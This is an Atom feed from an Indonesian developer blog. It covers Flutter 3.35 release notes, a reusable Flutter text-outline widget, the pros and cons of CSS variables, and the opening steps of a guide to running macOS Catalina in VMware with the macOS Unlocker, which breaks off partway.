&lt;p&gt;Semantic locale sudah ditambahkan, kegunannya untuk menentukan bahasa yang digunakan untuk accessibility. &lt;a href=&quot;https://github.com/flutter/flutter/pull/171196&quot;&gt;(#171196)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Widget baru&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Widget &lt;code&gt;SemanticsLabelBuilder&lt;/code&gt; sudah ditambahkan, kegunaannya untuk menggabungkan beberapa string menjadi satu &lt;a href=&quot;https://github.com/flutter/flutter/pull/171683&quot;&gt;(#171683)&lt;/a&gt;.
Widget &lt;code&gt;SliverEnsureSemantics&lt;/code&gt; sudah ditambahkan, kegunaannya untuk memastikan widget sliver yang di luar layar tetap berada di accessibility tree, membantu navigasi saat menggunakan screen reader &lt;a href=&quot;https://github.com/flutter/flutter/pull/166889&quot;&gt;(#166889)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update widget dan platform&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Untuk iOS, terdapat perbaikan pada scaling teks di &lt;code&gt;CupertinoSliverNavigationBar&lt;/code&gt; &lt;a href=&quot;https://github.com/flutter/flutter/pull/168866&quot;&gt;(#168866)&lt;/a&gt;, dan aktivasi tab di VoiceOver &lt;a href=&quot;https://github.com/flutter/flutter/pull/170076&quot;&gt;(#170076)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Untuk Android, TalkBack kini berfungsi untuk komponen native yang di-embed dengan platform views &lt;a href=&quot;https://github.com/flutter/flutter/pull/168939&quot;&gt;(#168939)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Properti semantic untuk &lt;code&gt;CustomPainter&lt;/code&gt; diperbarui agar UI lebih dapat dikustomisasi &lt;a href=&quot;https://github.com/flutter/flutter/pull/168113&quot;&gt;(#168113)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Toolbar saat seleksi teks pada bahasa yang berformat RTL sudah disejajarkan &lt;a href=&quot;https://github.com/flutter/flutter/pull/169854&quot;&gt;(#169854)&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;material-dan-cupertino&quot; tabindex=&quot;-1&quot;&gt;Material dan Cupertino&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/saya-rangkum-update-flutter-3-35-hot-reload-di-web/#material-dan-cupertino&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Komponen baru dan yang di-update&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;DropdownMenuFormField&lt;/code&gt; sudah ditambahkan, sebagai pengganti dari penggunaan &lt;code&gt;DropdownMenu&lt;/code&gt; di form &lt;a href=&quot;https://github.com/flutter/flutter/pull/163721&quot;&gt;(#163721)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;NavigationRail&lt;/code&gt; sekarang bisa scrollable &lt;a href=&quot;https://github.com/flutter/flutter/pull/169421&quot;&gt;(#169421)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;NavigationDrawer&lt;/code&gt; sekarang memiliki header dan footer &lt;a href=&quot;https://github.com/flutter/flutter/pull/168005&quot;&gt;(#168005)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CupertinoExpansionTile&lt;/code&gt; sudah ditambahkan &lt;a href=&quot;https://github.com/flutter/flutter/pull/165606&quot;&gt;(#165606)&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Fidelity dan interaktifitas&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Bentuk beberapa widget Cupertino kini sudah diperbarui mengikuti &lt;code&gt;RSuperellipse&lt;/code&gt; &lt;a href=&quot;https://github.com/flutter/flutter/pull/167784&quot;&gt;(#167784)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Haptic feedback sudah ditambahkan ke komponen interaktif penting seperti &lt;code&gt;CupertinoPicker&lt;/code&gt; &lt;a href=&quot;https://github.com/flutter/flutter/pull/170641&quot;&gt;(#170641)&lt;/a&gt; dan &lt;code&gt;CupertinoSlider&lt;/code&gt; &lt;a href=&quot;https://github.com/flutter/flutter/pull/167362&quot;&gt;(#167362)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Indikator value &lt;code&gt;Slider&lt;/code&gt; sekarang bisa disetel agar selalu terlihat &lt;a href=&quot;https://github.com/flutter/flutter/pull/162223&quot;&gt;(#162223)&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;lainnya-dari-framework&quot; tabindex=&quot;-1&quot;&gt;Lainnya dari framework&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/saya-rangkum-update-flutter-3-35-hot-reload-di-web/#lainnya-dari-framework&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Sliver&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Sekarang dapat secara eksplisit mengontrol paint order (z-order) di sliver &lt;a href=&quot;https://github.com/flutter/flutter/pull/164818&quot;&gt;(#164818)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Navigasi dan form&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Properti &lt;code&gt;fullscreenDialog&lt;/code&gt; &lt;a href=&quot;https://github.com/flutter/flutter/pull/167794&quot;&gt;(#167794)&lt;/a&gt; ditambahkan ke ModalRoute (beserta semua turunannya) dan &lt;code&gt;showDialog&lt;/code&gt;, kegunaannya untuk kustomisasi navigasi ke dan dari route dialog.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FormField&lt;/code&gt; sekarang memiliki callback onReset &lt;a href=&quot;https://github.com/flutter/flutter/pull/167060&quot;&gt;(#167060)&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Input dan seleksi teks&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Handling gesture kini digeneralisir dengan interface baru, yaitu &lt;code&gt;PositionedGestureDetails&lt;/code&gt; &lt;a href=&quot;https://github.com/flutter/flutter/pull/160714&quot;&gt;(#160714)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Field teks sebaris sudah tidak lagi srollable, menjadi selaras dengan iOS native &lt;a href=&quot;https://github.com/flutter/flutter/pull/162841&quot;&gt;(#162841)&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Penambahan tombol shortcut &lt;code&gt;Home&lt;/code&gt; dan &lt;code&gt;End&lt;/code&gt; di Android &lt;a href=&quot;https://github.com/flutter/flutter/pull/168184&quot;&gt;(#168184)&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;text-align:left&quot;&gt;Tombol&lt;/th&gt;
&lt;th style=&quot;text-align:left&quot;&gt;Fungsi&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align:left&quot;&gt;&lt;code&gt;Home&lt;/code&gt;/&lt;code&gt;End&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;text-align:left&quot;&gt;Memindahkan cursor to ke awal/akhir baris.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align:left&quot;&gt;&lt;code&gt;Home&lt;/code&gt;/&lt;code&gt;End&lt;/code&gt; + &lt;code&gt;Shift&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;text-align:left&quot;&gt;Melebarkan seleksi ke awal/akhir baris.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align:left&quot;&gt;&lt;code&gt;Home&lt;/code&gt;/&lt;code&gt;End&lt;/code&gt; + &lt;code&gt;Ctrl&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;text-align:left&quot;&gt;Memindahkan cursor to ke awal/akhir field.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align:left&quot;&gt;&lt;code&gt;Home&lt;/code&gt;/&lt;code&gt;End&lt;/code&gt; + &lt;code&gt;Shift&lt;/code&gt; + &lt;code&gt;Ctrl&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;text-align:left&quot;&gt;Melebarkan seleksi ke awal/akhir field.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id=&quot;android&quot; tabindex=&quot;-1&quot;&gt;Android&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/saya-rangkum-update-flutter-3-35-hot-reload-di-web/#android&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id=&quot;proteksi-konten-sensitif&quot; tabindex=&quot;-1&quot;&gt;Proteksi konten sensitif&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/saya-rangkum-update-flutter-3-35-hot-reload-di-web/#proteksi-konten-sensitif&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Di Android 15, API 35, widget &lt;code&gt;SensitiveContent&lt;/code&gt; sudah ditambahkan, kegunaannya untuk mem-blur seluruh layar saat screen share.&lt;/p&gt;
&lt;h2 id=&quot;engine&quot; tabindex=&quot;-1&quot;&gt;Engine&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/saya-rangkum-update-flutter-3-35-hot-reload-di-web/#engine&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id=&quot;general-update-di-engine&quot; tabindex=&quot;-1&quot;&gt;General update di engine&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/saya-rangkum-update-flutter-3-35-hot-reload-di-web/#general-update-di-engine&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;iOS&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Opsi Live Text (OCR) pada field teks diadakan kembali.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Android&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Template project baru sekarang menggunakan Android 24.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;devtools-dan-ide&quot; tabindex=&quot;-1&quot;&gt;DevTools dan IDE&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/saya-rangkum-update-flutter-3-35-hot-reload-di-web/#devtools-dan-ide&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id=&quot;server-mcp-dart-dan-flutter-experimental-tersedia-di-channel-stable&quot; tabindex=&quot;-1&quot;&gt;Server MCP Dart dan Flutter experimental tersedia di channel stable&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/saya-rangkum-update-flutter-3-35-hot-reload-di-web/#server-mcp-dart-dan-flutter-experimental-tersedia-di-channel-stable&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;AI coding assistant&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Server MCP Dart dan Flutter bertindak sebagai bridge, menjadikan AI coding assistant dapat mengakses ke lebih banyak konteks pada project melalui toolchain Dart dan Flutter. AI coding assistant kini dapat memahami project secara mendalam dan mengambil tindakan seperti:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Fix runtime error&lt;/strong&gt;: Melakukan inspect pada widget tree yang sedang berlangsung, mengidentifikasi RenderFlex yang overflow, dan menerapkan fix secara otomatis.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mengelola dependency&lt;/strong&gt;: Menemukan package di pub.dev untuk task tertentu, menambahkannya ke &lt;code&gt;pubspec.yaml&lt;/code&gt;, dan menjalankan &lt;code&gt;pub get&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Menulis dan memperbaiki kode&lt;/strong&gt;: Membuat boilerplate fitur baru, lalu memperbaiki sendiri error analisis yang muncul.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;widget-previews-experimental&quot; tabindex=&quot;-1&quot;&gt;Widget Previews (Experimental)&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/saya-rangkum-update-flutter-3-35-hot-reload-di-web/#widget-previews-experimental&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Widget Previews memungkinkan untuk melakukan visualisasi dan testing widget pada environment sandbox. Misalnya saat membuat design system atau saat testing komponen dengan konfigurasi berbeda, seperti ukuran layar, theme, dan scaling teks. Ini dilakukan secara sekaligus dan berdampingan.&lt;/p&gt;
&lt;h3 id=&quot;analysis-server&quot; tabindex=&quot;-1&quot;&gt;Analysis Server&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/saya-rangkum-update-flutter-3-35-hot-reload-di-web/#analysis-server&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Beberapa command dari dart command-line tool yang menggunakan analysis server seperti &lt;code&gt;dart analyze&lt;/code&gt;, &lt;code&gt;dart fix&lt;/code&gt;, dan &lt;code&gt;dart language-server&lt;/code&gt;, sekarang menjalankan snapshot analysis server yang AOT-compiled.&lt;/p&gt;
&lt;h2 id=&quot;breaking-changes-dan-deprecation&quot; tabindex=&quot;-1&quot;&gt;Breaking changes dan deprecation&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/saya-rangkum-update-flutter-3-35-hot-reload-di-web/#breaking-changes-dan-deprecation&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;AppBarTheme&lt;/code&gt;, &lt;code&gt;BottomAppBarTheme&lt;/code&gt;, dan &lt;code&gt;InputDecorationTheme&lt;/code&gt; sudah di-refactor ke &lt;code&gt;ThemeData&lt;/code&gt; agar lebih konsisten dengan Material 3.&lt;/li&gt;
&lt;li&gt;Widget &lt;code&gt;Radio&lt;/code&gt;, &lt;code&gt;CupertinoRadio&lt;/code&gt;, dan &lt;code&gt;RadioListTile&lt;/code&gt; sudah di-redesign untuk menambah accessibility. Properti &lt;code&gt;groupValue&lt;/code&gt; dan &lt;code&gt;onChanged&lt;/code&gt; sudah deprecated dan diganti dengan widget &lt;code&gt;RadioGroup&lt;/code&gt; untuk mengelola state dari sekumpulan radio button.&lt;/li&gt;
&lt;li&gt;Widget &lt;code&gt;Form&lt;/code&gt; tidak lagi dapat digunakan sebagai sliver, form harus dibungkus dengan &lt;code&gt;SliverToBoxAdapter&lt;/code&gt; untuk digunakan di dalam &lt;code&gt;CustomScrollView&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Parameter &lt;code&gt;value&lt;/code&gt; di &lt;code&gt;DropdownButtonFormField&lt;/code&gt; sekarang deprecated, diganti menjadi &lt;code&gt;initialValue&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Deprecated Android ber-architecture 32-bit x86&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Deprecated dukungan IDE untuk SDK Flutter sebelum 3.13&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SDK Android minimum&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;API 24 (Android 7) adalah minimum untuk &lt;code&gt;flutter.minSdkVersion&lt;/code&gt;. Dan berikut adalah minimum dependency Android:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Gradle version: 8.7.0&lt;/li&gt;
&lt;li&gt;Android Gradle Plugin (AGP): 8.6.0&lt;/li&gt;
&lt;li&gt;Java: 17&lt;/li&gt;
&lt;/ul&gt;
</content>
	</entry>
	<entry>
		<title>Cara Membuat Text Border/Outline di Flutter yang Simpel</title>
		<link href="https://hariswah.idin.my.id/blog/cara-membuat-text-border-outline-di-flutter-yang-simpel/"/>
		<updated>2024-09-18T17:00:00Z</updated>
		<id>https://hariswah.idin.my.id/blog/cara-membuat-text-border-outline-di-flutter-yang-simpel/</id>
		<language>id-ID</language>
			<category term ="Mobile Development" />
		<content type="html">&lt;p&gt;Artikel ini berdasarkan kesulitan saya dengan flutter saat ingin membuat widget text yang memiliki outline, saat itu saya butuh untuk memperjelas teks agar tidak samar dengan gradasi background dan background yang transparan.&lt;/p&gt;
&lt;p&gt;Penggunaan teks dengan outline umum digunakan bukan hanya untuk aplikasi, tapi lebih sering kita jumpai pada user interface game ponsel dengan background atau tombol yang dibuat interaktif.&lt;/p&gt;
&lt;p&gt;Berikut adalah kode lengkapnya untuk menggunakannya sebagai reusable widget.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import &#39;package:flutter/material.dart&#39;;

Widget textOutline(text,
    {double fontSize = 16,
    Color color = Colors.white,
    Color outlineColor = Colors.black,
    double outlineWidth = 2}) {
  return Stack(
    children: [
      Text(
        text,
        style: TextStyle(
          fontSize: fontSize,
          foreground: Paint()
            ..style = PaintingStyle.stroke
            ..strokeWidth = outlineWidth
            ..color = outlineColor,
        ),
      ),
      Text(
        text,
        style: TextStyle(
          fontSize: fontSize,
          color: color,
        ),
      ),
    ],
  );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Teknik yang digunakan adalah dengan menimpa teks yang disetel hanya memiliki border dengan teks biasa, lalu menjadikannya sebagai reusable widget dengan peletakan parameter yang dibuat mirip dengan widget Text(). Bagusnya jika ingin menambah parameter usahakan penempatan sesuai dengan widget Text() untuk menjaga kemudahan yang konsisten.&lt;/p&gt;
</content>
	</entry>
	<entry>
		<title>3 Kelebihan dan Kekurangan Menggunakan CSS Variable</title>
		<link href="https://hariswah.idin.my.id/blog/3-kelebihan-dan-kekurangan-menggunakan-css-variable/"/>
		<updated>2024-09-17T17:00:00Z</updated>
		<id>https://hariswah.idin.my.id/blog/3-kelebihan-dan-kekurangan-menggunakan-css-variable/</id>
		<language>id-ID</language>
			<category term ="Web Development" />
		<content type="html">&lt;h2 id=&quot;tldr&quot; tabindex=&quot;-1&quot;&gt;TL;DR&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/3-kelebihan-dan-kekurangan-menggunakan-css-variable/#tldr&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Walaupun umum digunakan oleh template-template front-end di internet dan website bisnis skala besar, penggunaan variable masih jarang diterapkan pada pengembangan website dari scratch. Ini dikarenakan proses perencanaan pengembangan memiliki lebih banyak waktu sehingga dapat menimbang kelebihan penggunaan variable.&lt;/p&gt;
&lt;h2 id=&quot;kelebihan&quot; tabindex=&quot;-1&quot;&gt;Kelebihan&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/3-kelebihan-dan-kekurangan-menggunakan-css-variable/#kelebihan&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id=&quot;semakin-banyak-kode-semakin-terstruktur&quot; tabindex=&quot;-1&quot;&gt;Semakin banyak kode, semakin terstruktur&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/3-kelebihan-dan-kekurangan-menggunakan-css-variable/#semakin-banyak-kode-semakin-terstruktur&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Karena variable digunakan sebagai parameter yang dibuat atas hasil konversi dari desain, semakin banyak kode yang dikonversi maka semakin banyak parameter yang digunakan.&lt;/p&gt;
&lt;h3 id=&quot;mengemat-waktu-development&quot; tabindex=&quot;-1&quot;&gt;Mengemat waktu development&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/3-kelebihan-dan-kekurangan-menggunakan-css-variable/#mengemat-waktu-development&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Bayangkan untuk konversi desain komponen yang sama dalam kasus penggunaan yang berbeda, misal membuat sebuah button berisi icon lalu membuat lagi sebuah button berisi icon yang menyatu dengan inputan, satu-satunya yang membedakan adalah background-color dan border-radius, penggunaan variable di sini untuk mencegah konversi desain untuk property yang sudah pernah&lt;/p&gt;
&lt;h3 id=&quot;redesign-bukan-lagi-masalah&quot; tabindex=&quot;-1&quot;&gt;Redesign bukan lagi masalah&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/3-kelebihan-dan-kekurangan-menggunakan-css-variable/#redesign-bukan-lagi-masalah&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Tanpa menggunakan variable, mengubah warna beberapa komponen dilakukan dengan fitur Find &amp;amp; Replace untuk mencari kode hex yang disalin dari DevTools, harus teliti untuk tidak salah mengganti warna. Lalu bagaimana jika redesign? Mengubah banyak property milik banyak komponen tentu masalah jika tidak menerapkan variable.&lt;/p&gt;
&lt;h2 id=&quot;kekurangan&quot; tabindex=&quot;-1&quot;&gt;Kekurangan&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/3-kelebihan-dan-kekurangan-menggunakan-css-variable/#kekurangan&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id=&quot;penamaan-variable-perlu-waktu&quot; tabindex=&quot;-1&quot;&gt;Penamaan variable perlu waktu&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/3-kelebihan-dan-kekurangan-menggunakan-css-variable/#penamaan-variable-perlu-waktu&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Memberi nama variable adalah hal yang sangat-sangat simpel tapi bukanlah hal yang mudah, tidak meluangkan cukup waktu untuk menamakan variable pertama menjadikan nama variable selanjutnya tidak konsisten yang berakibat variable tidak digunakan karena sulit dimengerti. Maka luangkan waktu untuk menentukan urutan-urutan nama variable, misal berdasarkan warna, state atau jenis elemen terlebih dahulu, juga pelajari penamaan dengan metodologi BEM jika perlu.&lt;/p&gt;
&lt;h3 id=&quot;value-menjadi-lebih-panjang&quot; tabindex=&quot;-1&quot;&gt;Value menjadi lebih panjang&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/3-kelebihan-dan-kekurangan-menggunakan-css-variable/#value-menjadi-lebih-panjang&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Panjang kode value tentu menentukan berapa lama untuk membaca property, misal membaca &lt;code&gt;padding: 2px 6px 4px 8px;&lt;/code&gt; tentu lebih sebentar dibanding membaca &lt;code&gt;padding: var(--button-promo-padding-top) var(--button-promo-padding-right) var(--button-promo-padding-bottom) var(--button-promo-padding-left);&lt;/code&gt;. Ini adalah konsekuensi terbesar menggunakan variable, namun value yang lebih panjang dapat lebih sebentar untuk dimengerti jika value lebih deskriptif, misal &lt;code&gt;height: calc(100dvh – 72px + 16px + 2px);&lt;/code&gt; dibanding &lt;code&gt;height: calc(100dvh – (var(--topbar-height) + var(--topbar-margin-bottom) + var(--topbar-border-y)));&lt;/code&gt;, lebih lama baca namun lebih sebentar untuk mengerti.&lt;/p&gt;
&lt;h3 id=&quot;memakan-waktu-maintenance&quot; tabindex=&quot;-1&quot;&gt;Memakan waktu maintenance&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/3-kelebihan-dan-kekurangan-menggunakan-css-variable/#memakan-waktu-maintenance&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Singkatnya, ini adalah kebalikan dari kelebihan di poin ketiga yang permasalahannya adalah waktu terutama saat ada perubahan desain skala besar. Perubahan tidak selalu pada value, misal pada penambahan property yang artinya menambah waktu untuk membuat variable baru, apalgi jika ternyata penggunaan variable tidak dibutuhkan. Hanya mungkin diatasi dengan ketelitian dan seiring waktu pengembangan.&lt;/p&gt;
</content>
	</entry>
	<entry>
		<title>Cara Instal macOS Catalina di Windows dengan VMware</title>
		<link href="https://hariswah.idin.my.id/blog/cara-instal-macos-catalina-di-windows-dengan-vmware/"/>
		<updated>2024-09-16T17:00:00Z</updated>
		<id>https://hariswah.idin.my.id/blog/cara-instal-macos-catalina-di-windows-dengan-vmware/</id>
		<language>id-ID</language>
			<category term ="Hacking" />
		<content type="html">&lt;h2 id=&quot;prasyarat&quot; tabindex=&quot;-1&quot;&gt;Prasyarat&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/cara-instal-macos-catalina-di-windows-dengan-vmware/#prasyarat&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Windows 10/11&lt;/li&gt;
&lt;li&gt;VMware Workstation Pro/Player 15&lt;/li&gt;
&lt;li&gt;VMware Tools untuk macOS Guest&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://hariswahidin.com/blog/membuat-file-vmdk-sendiri-untuk-instalasi-macos-di-vmware&quot;&gt;macOS .vmdk (Virtual Machine Disk)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;persyaratan&quot; tabindex=&quot;-1&quot;&gt;Persyaratan&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/cara-instal-macos-catalina-di-windows-dengan-vmware/#persyaratan&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/paolo-projects/unlocker&quot;&gt;VMware macOS Unlocker&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;instalasi-macos-unlocker&quot; tabindex=&quot;-1&quot;&gt;Instalasi macOS Unlocker&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/cara-instal-macos-catalina-di-windows-dengan-vmware/#instalasi-macos-unlocker&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Unduh rilis mutakhir repo unlocker dengan klik Latest di bagian Releases, lalu unduh file .zip di bagian assets, pastikan membukanya lewat desktop&lt;/li&gt;
&lt;li&gt;Pastikan VMware tidak sedang berjalan&lt;/li&gt;
&lt;li&gt;Ekstrak file .zip-nya, buka foldernya dan jalankan win-install.cmd sebagai administrator&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;buat-virtual-machine&quot; tabindex=&quot;-1&quot;&gt;Buat Virtual Machine&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/cara-instal-macos-catalina-di-windows-dengan-vmware/#buat-virtual-machine&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Buka VMware, klik Create a New Virtual Machine&lt;/li&gt;
&lt;li&gt;Pilih Typical (recommended), klik Next&lt;/li&gt;
&lt;li&gt;Pilih I will install the operating system later, klik Next&lt;/li&gt;
&lt;li&gt;Pilih Apple Mac OS X, lalu pilih versi macOS yang akan diinstal, misal 10.15 untuk Catalina, klik Next&lt;/li&gt;
&lt;li&gt;Sunting atau biarkan nama virtual machine, dan pilih lokasi VM, misal &lt;code&gt;C:\Virtual Machines\Catalina 10.15&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Biarkan atau beri nilai 70GB pada Maximum disk size jika ingin langsung upgrade ke Big Sur, lalu pilih Store virtual disk as a single file, klik Next, lalu klik Finish, klik Keep Existing Format&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;edit-virtual-machine&quot; tabindex=&quot;-1&quot;&gt;Edit Virtual Machine&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/cara-instal-macos-catalina-di-windows-dengan-vmware/#edit-virtual-machine&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Di VM yang sudah dibuat, lik Edit virtual machine settings&lt;/li&gt;
&lt;li&gt;Sesuaikan nilai Memory dengan RAM yang tersedia dari host, misal 4GB&lt;/li&gt;
&lt;li&gt;Sesuaikan nilai Processors dengan CPU core milik host&lt;/li&gt;
&lt;li&gt;Tambah disk instalasi macOS dengan klik Add, pilih Hard Disk, klik Next, pilih SATA, klik Next, pilih Use an existing virtual disk, klik Next, pilih file .vmdk (yang sudah dibuat di artikel sebelumnya)&lt;/li&gt;
&lt;/ol&gt;
